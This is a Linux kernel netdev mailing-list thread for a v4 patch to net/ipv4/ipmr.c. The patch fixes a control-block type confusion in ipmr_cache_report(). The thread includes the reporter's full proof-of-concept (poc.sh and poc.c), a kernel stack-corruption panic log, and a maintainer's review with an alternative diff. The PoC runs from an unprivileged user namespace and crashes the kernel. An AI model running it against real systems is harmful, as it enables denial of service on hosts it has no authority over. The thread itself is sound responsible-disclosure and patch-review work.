ipmr: only copy pktinfo to cache reports
Subsystems (3)
v4 cover ipmr: only copy pktinfo to cache reports
Hi Linux kernel maintainers,
We found and validated an issue in net/ipv4/ipmr.c. The bug is reachable by a non-root user after creating user and net namespaces with namespace-local CAP_NET_ADMIN and CAP_NET_RAW.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
ipmr_get_route() can clone a synthetic RTM_GETROUTE skb for an unresolved multicast route and store the requester portid in NETLINK_CB(skb).portid before queuing it to the unresolved multicast route path.
ipmr_cache_report() later builds a short IGMP report for the raw mroute socket. To support IP_PKTINFO, it calls ipv4_pktinfo_prepare() on the original packet and copies the original packet's entire control buffer to the report skb.
For synthetic route-query packets, that copies NETLINK_CB bytes into a skb that the raw IPv4 receive path interprets as IPCB. The requester portid overlaps IPCB(skb)->opt fields. With IP_RECVOPTS or IP_RETOPTS enabled on the mroute socket, those corrupted option fields can make the receive path copy beyond the short report packet or overflow the fixed stack option buffer in ip_options_echo().
The WHOLEPKT/WRVIFWHOLE path has a related leak. skb_realloc_headroom() inherits the original IPCB, then prepends a 20-byte header with ihl = 5. Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts() copy bytes from after that header as IP_RECVOPTS.
The fix keeps IP_PKTINFO support by copying only the pktinfo fields prepared by ipv4_pktinfo_prepare() on the short-report path, and clears IPCB(skb)->opt when the WHOLEPKT header is prepended.
Reproducer:
make
./poc.sh namespace
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
mode="${1:-root}"
sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true sysctl -w kernel.printk="7 4 1 7" >/dev/null 2>&1 || true
make clean
make
case "$mode" in
root)
exec ./poc ;; namespace) exec unshare -Urn --map-root-user ./poc ;; *) echo "usage: $0 [root|namespace]" >&2 exit 1 ;;
esac
------END poc.sh--------
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/mroute.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#define DEV_NAME "jwq0"
#define DEV_ADDR "10.23.0.1/24"
#define SRC_ADDR "10.23.0.2"
#define DST_ADDR "239.1.2.3"
#define NETLINK_PORTID 0x000f0001U
static void die(const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fputc('\n', stderr);
exit(EXIT_FAILURE);
}static void die_errno(const char *msg)
{
die("%s: %s", msg, strerror(errno));
}static void run_cmd(const char *fmt, ...)
{
char cmd[512];
va_list ap;
int rc;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
printf("[cmd] %s\n", cmd);
fflush(stdout);
rc = system(cmd);
if (rc != 0)
die("command failed (%d): %s", rc, cmd);
}static void addattr_l(struct nlmsghdr *nlh, size_t maxlen, int type,
const void *data, size_t alen)
{
size_t len = RTA_LENGTH(alen);
size_t newlen = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(len);
struct rtattr *rta;
if (newlen > maxlen)
die("netlink attribute overflow");
rta = (struct rtattr *)(((char *)nlh) + NLMSG_ALIGN(nlh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = len;
memcpy(RTA_DATA(rta), data, alen);
nlh->nlmsg_len = newlen;
}static int create_dummy_interface(void)
{
unsigned int ifindex;
run_cmd("ip link del %s 2>/dev/null || true", DEV_NAME);
run_cmd("ip link set lo up");
run_cmd("ip link add %s type dummy", DEV_NAME);
run_cmd("ip addr add %s dev %s", DEV_ADDR, DEV_NAME);
run_cmd("ip link set %s up", DEV_NAME);
ifindex = if_nametoindex(DEV_NAME);
if (!ifindex)
die_errno("if_nametoindex(" DEV_NAME ")");
printf("[*] %s ifindex=%u\n", DEV_NAME, ifindex);
return (int)ifindex;
}static int setup_mroute_socket(int ifindex)
{
struct vifctl vif = {
.vifc_vifi = 0,
.vifc_flags = VIFF_USE_IFINDEX,
.vifc_threshold = 1,
.vifc_rate_limit = 0,
.vifc_lcl_ifindex = ifindex,
};
int opt = 1;
int fd;
fd = socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);
if (fd < 0)
die_errno("socket(AF_INET, SOCK_RAW, IPPROTO_IGMP)");
if (setsockopt(fd, SOL_IP, IP_RETOPTS, &opt, sizeof(opt)) < 0)
die_errno("setsockopt(IP_RETOPTS)");
if (setsockopt(fd, IPPROTO_IP, MRT_INIT, &opt, sizeof(opt)) < 0)
die_errno("setsockopt(MRT_INIT)");
if (setsockopt(fd, IPPROTO_IP, MRT_ADD_VIF, &vif, sizeof(vif)) < 0)
die_errno("setsockopt(MRT_ADD_VIF)");
printf("[*] mroute socket ready on vif ifindex=%d\n", ifindex);
return fd;
}static int setup_netlink_socket(void)
{
struct sockaddr_nl local = {
.nl_family = AF_NETLINK,
.nl_pid = NETLINK_PORTID,
};
int fd;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die_errno("socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)");
if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
die_errno("bind(AF_NETLINK)");
printf("[*] netlink portid=0x%08x\n", NETLINK_PORTID);
printf("[*] portid bytes: optlen=%u srr=%u rr=%u ts=%u\n",
NETLINK_PORTID & 0xff,
(NETLINK_PORTID >> 8) & 0xff,
(NETLINK_PORTID >> 16) & 0xff,
(NETLINK_PORTID >> 24) & 0xff);
return fd;
}static void trigger_getroute(int nl_fd, int ifindex)
{
struct {
struct nlmsghdr nlh;
struct rtmsg rtm;
char buf[256];
} req;
struct sockaddr_nl kernel = {
.nl_family = AF_NETLINK,
};
struct iovec iov = {
.iov_base = &req,
.iov_len = sizeof(req),
};
struct msghdr msg = {
.msg_name = &kernel,
.msg_namelen = sizeof(kernel),
.msg_iov = &iov,
.msg_iovlen = 1,
};
struct in_addr src;
struct in_addr dst;
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct rtmsg));
req.nlh.nlmsg_type = RTM_GETROUTE;
req.nlh.nlmsg_flags = NLM_F_REQUEST;
req.nlh.nlmsg_seq = 1;
req.rtm.rtm_family = AF_INET;
req.rtm.rtm_dst_len = 32;
req.rtm.rtm_src_len = 32;
if (inet_pton(AF_INET, SRC_ADDR, &src) != 1)
die("inet_pton failed for %s", SRC_ADDR);
if (inet_pton(AF_INET, DST_ADDR, &dst) != 1)
die("inet_pton failed for %s", DST_ADDR);
addattr_l(&req.nlh, sizeof(req), RTA_SRC, &src, sizeof(src));
addattr_l(&req.nlh, sizeof(req), RTA_DST, &dst, sizeof(dst));
addattr_l(&req.nlh, sizeof(req), RTA_IIF, &ifindex, sizeof(ifindex));
iov.iov_len = req.nlh.nlmsg_len;
printf("[*] sending RTM_GETROUTE for %s -> %s on ifindex %d\n",
SRC_ADDR, DST_ADDR, ifindex);
fflush(stdout);
if (sendmsg(nl_fd, &msg, 0) < 0)
die_errno("sendmsg(RTM_GETROUTE)");
}static void receive_report(int mrt_fd)
{
char payload[512];
char control[4096];
struct iovec iov = {
.iov_base = payload,
.iov_len = sizeof(payload),
};
struct msghdr msg = {
.msg_iov = &iov,
.msg_iovlen = 1,
.msg_control = control,
.msg_controllen = sizeof(control),
};
ssize_t n;
printf("[*] waiting for mroute report; recvmsg should crash in IP_RETOPTS\n");
fflush(stdout);
n = recvmsg(mrt_fd, &msg, 0);
if (n < 0)
die_errno("recvmsg(mroute_sk)");
printf("[!] recvmsg returned %zd bytes without crashing\n", n);
}int main(void)
{
int ifindex;
int mrt_fd;
int nl_fd;
printf("[*] ipmr_cache_report type-confusion trigger\n");
printf("[*] expected rr copy length comes from first byte of %s (%u)\n",
DST_ADDR, 239U);
ifindex = create_dummy_interface();
mrt_fd = setup_mroute_socket(ifindex);
nl_fd = setup_netlink_socket();
trigger_getroute(nl_fd, ifindex);
receive_report(mrt_fd);
close(nl_fd);
close(mrt_fd);
return 0;
}------END poc.c--------
----BEGIN crash log----
[ 195.459259] Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in: ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1)) [ 195.460787] CPU: 2 UID: 1028 PID: 1307 Comm: poc Not tainted 6.12.95 #1 [ 195.461640] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 195.463100] Call Trace: [ 195.463432] <TASK> [ 195.463733] panic (/home/roxy/linux-block-patch/build/../kernel/panic.c:955 (discriminator 1)) [ 195.464178] ? ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1)) [ 195.464769] __stack_chk_fail (/home/roxy/linux-block-patch/build/../kernel/panic.c:1195 (discriminator 1)) [ 195.465309] ip_cmsg_recv_offset (/home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:65 (discriminator 1) /home/roxy/linux-block-patch/build/../net/ipv4/ip_sockglue.c:187 (discriminator 1)) [ 195.465878] ? __skb_datagram_iter (/home/roxy/linux-block-patch/build/../include/linux/skbuff.h:2533 /home/roxy/linux-block-patch/build/../net/core/datagram.c:394) [ 195.466458] ? __pfx_simple_copy_to_iter+0x10/0x10 [ 195.467091] ? ____sys_recvmsg+0x98/0x1d0 [ 195.467633] ? ___sys_recvmsg+0x91/0xe0 [ 195.468154] ? srso_alias_return_thunk+0x5/0xfbef5 [ 195.468802] ? __sys_recvmsg+0x83/0xe0 [ 195.469305] ? do_syscall_64+0x58/0x120 [ 195.469824] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 195.470498] </TASK> [ 195.470983] Kernel Offset: disabled
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
ipmr: only copy pktinfo to cache reports
net/ipv4/ipmr.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-)
Signature · 1 line
2.43.0
PATCH v4 1/1 ipmr: only copy pktinfo to cache reports
ipmr_cache_report() builds short IGMP reports for mrouted from a packet that may be a synthetic RTM_GETROUTE query. That query skb stores the netlink requester portid in NETLINK_CB(), but the report is delivered to a raw IPv4 socket, whose receive path interprets skb->cb as IPCB().
Commit bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg") added IP_PKTINFO support by calling ipv4_pktinfo_prepare() on the original packet and then copying the entire 48-byte skb control block to the report skb. For synthetic route-query packets, this copies NETLINK_CB() bytes into IPCB() and lets a controlled portid corrupt IPCB(skb)->opt. With IP_RECVOPTS or IP_RETOPTS enabled, the raw socket receive path can then copy past the short report packet or overflow the stack option buffer.
Keep the IP_PKTINFO support, but copy only the pktinfo fields prepared by ipv4_pktinfo_prepare().
The WHOLEPKT/WRVIFWHOLE path is a related leak: skb_realloc_headroom() inherits the original IPCB, then a 20-byte header with ihl = 5 is prepended. Stale IPCB(skb)->opt offsets then make ip_cmsg_recv_opts() copy bytes from after that header as IP_RECVOPTS. Clear the inherited IP options when that header is prepended.
This changes the accidental IP_RECVOPTS/IP_RETOPTS behavior for these cache reports, but that behavior was only a side effect of copying or inheriting the entire control block and was never intended to work.
---
changes in v4:
- Clear IPCB(skb)->opt when prepending the 20-byte WHOLEPKT/WRVIFWHOLE
header, so stale option offsets are not inherited from the original
packet.
- v3 Link: https://lore.kernel.org/all/e93d0d2fa5725ddd06b20e3e4223ab68b93b48d1.1785719031.git.zhilinz@nebusec.ai/
changes in v3:
- go back to the v1 scope and stop changing the common path
- remove memset(), since alloc_skb() already clears the control block
- v2 Link: https://lore.kernel.org/all/1b809975e5bd9c0a1dd6fdd1db534e701fe5a4b6.1785379072.git.zhilinz@nebusec.ai/
changes in v2:
- reword the commit message to say the entire 48-byte skb control block is copied
- mention that IP_RECVOPTS/IP_RETOPTS on the mrouted socket was never intended
- move the pktinfo copy to the common path so both report branches are covered
- v1 Link: https://lore.kernel.org/all/5bc7cd71c2d671b305f25497d88ae8a0aa663c08.1784894076.git.zhilinz@nebusec.ai/
net/ipv4/ipmr.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-)
net/ipv4/ipmr.c +5 -1
@@ -1058,6 +1058,7 @@ static int ipmr_cache_report(const struct mr_table *mrt, struct sk_buff *pkt, vifi_t vifi, int assert) { const int ihl = ip_hdrlen(pkt); +struct in_pktinfo *info;struct sock *mroute_sk;struct igmphdr *igmp;struct igmpmsg *msg;
@@ -1102,6 +1103,7 @@ static int ipmr_cache_report(const struct mr_table *mrt,ip_hdr (skb)->ihl =sizeof (struct iphdr ) >>2 ;ip_hdr (skb)->tot_len =htons (ntohs (ip_hdr (pkt)->tot_len) +sizeof (struct iphdr )); +memset (&IPCB (skb)->opt,0 ,sizeof (IPCB (skb)->opt)); }else {/* Copy the IP header */ skb_set_network_header (skb, skb->len);
@@ -1113,7 +1115,9 @@ static int ipmr_cache_report(const struct mr_table *mrt, msg->im_vif = vifi; msg->im_vif_hi = vifi >>8 ;ipv4_pktinfo_prepare (mroute_sk, pkt, false); -memcpy (skb->cb, pkt->cb,sizeof (skb->cb)); + info =PKTINFO_SKB_CB (skb); + info->ipi_ifindex =PKTINFO_SKB_CB (pkt)->ipi_ifindex; + info->ipi_spec_dst =PKTINFO_SKB_CB (pkt)->ipi_spec_dst;/* Add our header. * Note that code, csum and group fields are cleared. */
Signature · 1 line
2.43.0
Quoted 28 lines · Zhiling Zou
ipmr_cache_report()builds short IGMP reports for mrouted from a packet that may be a syntheticRTM_GETROUTEquery. That query skb stores the netlink requester portid inNETLINK_CB(), but the report is delivered to a raw IPv4 socket, whose receive path interpretsskb->cbasIPCB().Commit
bb7403655b3c("ipmr: supportIP_PKTINFOon cache report IGMP msg") addedIP_PKTINFOsupport by callingipv4_pktinfo_prepare()on the original packet and then copying the entire 48-byte skb control block to the report skb. For synthetic route-query packets, this copiesNETLINK_CB()bytes intoIPCB()and lets a controlled portid corrupt IPCB(skb)->opt. WithIP_RECVOPTSorIP_RETOPTSenabled, the raw socket receive path can then copy past the short report packet or overflow the stack option buffer.Keep the
IP_PKTINFOsupport, but copy only the pktinfo fields prepared byipv4_pktinfo_prepare().The WHOLEPKT/WRVIFWHOLE path is a related leak:
skb_realloc_headroom()inherits the original IPCB, then a 20-byte header with ihl = 5 is prepended. Stale IPCB(skb)->opt offsets then makeip_cmsg_recv_opts()copy bytes from after that header asIP_RECVOPTS. Clear the inherited IP options when that header is prepended.This changes the accidental IP_RECVOPTS/IP_RETOPTS behavior for these cache reports, but that behavior was only a side effect of copying or inheriting the entire control block and was never intended to work.
Quoted 6 lines
Fixes bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")Reported-by Vega <[email protected]>Suggested-by Eric Dumazet <[email protected]>Signed-off-by Zhiling Zou <[email protected]>---
Thanks!
Ido Schimmel
maintainerQuoted 23 lines · Zhiling Zou
ipmr_cache_report()builds short IGMP reports for mrouted from a packet that may be a syntheticRTM_GETROUTEquery. That query skb stores the netlink requester portid inNETLINK_CB(), but the report is delivered to a raw IPv4 socket, whose receive path interpretsskb->cbasIPCB().Commit
bb7403655b3c("ipmr: supportIP_PKTINFOon cache report IGMP msg") addedIP_PKTINFOsupport by callingipv4_pktinfo_prepare()on the original packet and then copying the entire 48-byte skb control block to the report skb. For synthetic route-query packets, this copiesNETLINK_CB()bytes intoIPCB()and lets a controlled portid corrupt IPCB(skb)->opt. WithIP_RECVOPTSorIP_RETOPTSenabled, the raw socket receive path can then copy past the short report packet or overflow the stack option buffer.Keep the
IP_PKTINFOsupport, but copy only the pktinfo fields prepared byipv4_pktinfo_prepare().The WHOLEPKT/WRVIFWHOLE path is a related leak:
skb_realloc_headroom()inherits the original IPCB, then a 20-byte header with ihl = 5 is prepended. Stale IPCB(skb)->opt offsets then makeip_cmsg_recv_opts()copy bytes from after that header asIP_RECVOPTS. Clear the inherited IP options when that header is prepended.
Quoted 5 lines
This changes the accidental IP_RECVOPTS/IP_RETOPTS behavior for these cache reports, but that behavior was only a side effect of copying or inheriting the entire control block and was never intended to work.
Fixes bb7403655b3c ("ipmr: support IP_PKTINFO on cache report IGMP msg")
The bug in the IGMPMSG_WHOLEPKT/IGMPMSG_WRVIFWHOLE path is older:
Quoted 46 lines
Reported-by Vega <[email protected]>Suggested-by Eric Dumazet <[email protected]>Signed-off-by Zhiling Zou <[email protected]>---
changes in v4:
- Clear IPCB(skb)->opt when prepending the 20-byte WHOLEPKT/WRVIFWHOLE
header, so stale option offsets are not inherited from the original
packet.
- v3 Link: https://lore.kernel.org/all/e93d0d2fa5725ddd06b20e3e4223ab68b93b48d1.1785719031.git.zhilinz@nebusec.ai/changes in v3:
- go back to the v1 scope and stop changing the common path
- removememset(), sincealloc_skb()already clears the control block
- v2 Link: https://lore.kernel.org/all/1b809975e5bd9c0a1dd6fdd1db534e701fe5a4b6.1785379072.git.zhilinz@nebusec.ai/changes in v2:
- reword the commit message to say the entire 48-byte skb control block is copied
- mention that IP_RECVOPTS/IP_RETOPTS on the mrouted socket was never intended
- move the pktinfo copy to the common path so both report branches are covered
- v1 Link: https://lore.kernel.org/all/5bc7cd71c2d671b305f25497d88ae8a0aa663c08.1784894076.git.zhilinz@nebusec.ai/net/ipv4/ipmr.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-)net/ipv4/ipmr.c +2
-0@@ -1058,6 +1058,7 @@ static int ipmr_cache_report(const struct mr_table *mrt, struct sk_buff *pkt, vifi_t vifi, int assert) { const int ihl = ip_hdrlen(pkt); +struct in_pktinfo *info;struct sock *mroute_sk;struct igmphdr *igmp;struct igmpmsg *msg;@@ -1102,6 +1103,7 @@ static int ipmr_cache_report(const struct mr_table *mrt,ip_hdr (skb)->ihl =sizeof (struct iphdr ) >>2 ;ip_hdr (skb)->tot_len =htons (ntohs (ip_hdr (pkt)->tot_len) +sizeof (struct iphdr )); +memset (&IPCB (skb)->opt,0 ,sizeof (IPCB (skb)->opt)); }else {/* Copy the IP header */ skb_set_network_header (skb, skb->len);
net/ipv4/ipmr.c static int ipmr_cache_report(const struct mr_table *mrt, · line 1117
Quoted 3 lines
net/ipv4/ipmr.c +0
-0@@ -1113,7 +1115,9 @@ static int ipmr_cache_report(const struct mr_table *mrt, msg->im_vif = vifi; msg->im_vif_hi = vifi >>8 ;ipv4_pktinfo_prepare (mroute_sk, pkt, false);
pkt can continue in the data path and ipv4_pktinfo_prepare() will overwrite IPCB(pkt)->iif with 0 if PKTINFO is disabled on the mroute socket.
That's why I asked to try the following diff [1]. It also makes sure that the PKTINFO reported for IGMPMSG_WHOLEPKT/IGMPMSG_WRVIFWHOLE asserts is prepared with ipv4_pktinfo_prepare(), like in the other path.
net/ipv4/ipmr.c +7 -2
@@ -1057,6 +1057,7 @@ static void ipmr_cache_resolve(struct net *net, struct mr_table *mrt,static int ipmr_cache_report (const struct mr_table *mrt,struct sk_buff *pkt,vifi_t vifi,int assert) { +unsigned char pkt_cb[sizeof (pkt->cb)];const int ihl =ip_hdrlen (pkt);struct sock *mroute_sk;struct igmphdr *igmp;
@@ -1112,8 +1113,6 @@ static int ipmr_cache_report(const struct mr_table *mrt, msg = (struct igmpmsg *)skb_network_header (skb); msg->im_vif = vifi; msg->im_vif_hi = vifi >>8 ; -ipv4_pktinfo_prepare (mroute_sk, pkt, false); -memcpy (skb->cb, pkt->cb,sizeof (skb->cb));/* Add our header. * Note that code, csum and group fields are cleared. */
@@ -1124,6 +1123,12 @@ static int ipmr_cache_report(const struct mr_table *mrt, skb->transport_header = skb->network_header; } +memcpy (pkt_cb, pkt->cb,sizeof (pkt_cb)); +ipv4_pktinfo_prepare (mroute_sk, pkt, false); +memset (skb->cb,0 ,sizeof (skb->cb)); + *PKTINFO_SKB_CB (skb) = *PKTINFO_SKB_CB (pkt); +memcpy (pkt->cb, pkt_cb,sizeof (pkt_cb)); +igmpmsg_netlink_event (mrt, skb);/* Deliver to mrouted */
[1] https://lore.kernel.org/netdev/20260805081737.GA1284302@shredder/
Quoted 10 lines
net/ipv4/ipmr.c +3
-1-memcpy (skb->cb, pkt->cb,sizeof (skb->cb)); + info =PKTINFO_SKB_CB (skb); + info->ipi_ifindex =PKTINFO_SKB_CB (pkt)->ipi_ifindex; + info->ipi_spec_dst =PKTINFO_SKB_CB (pkt)->ipi_spec_dst;/* Add our header. * Note that code, csum and group fields are cleared. */ Signature · 1 line
2.43.0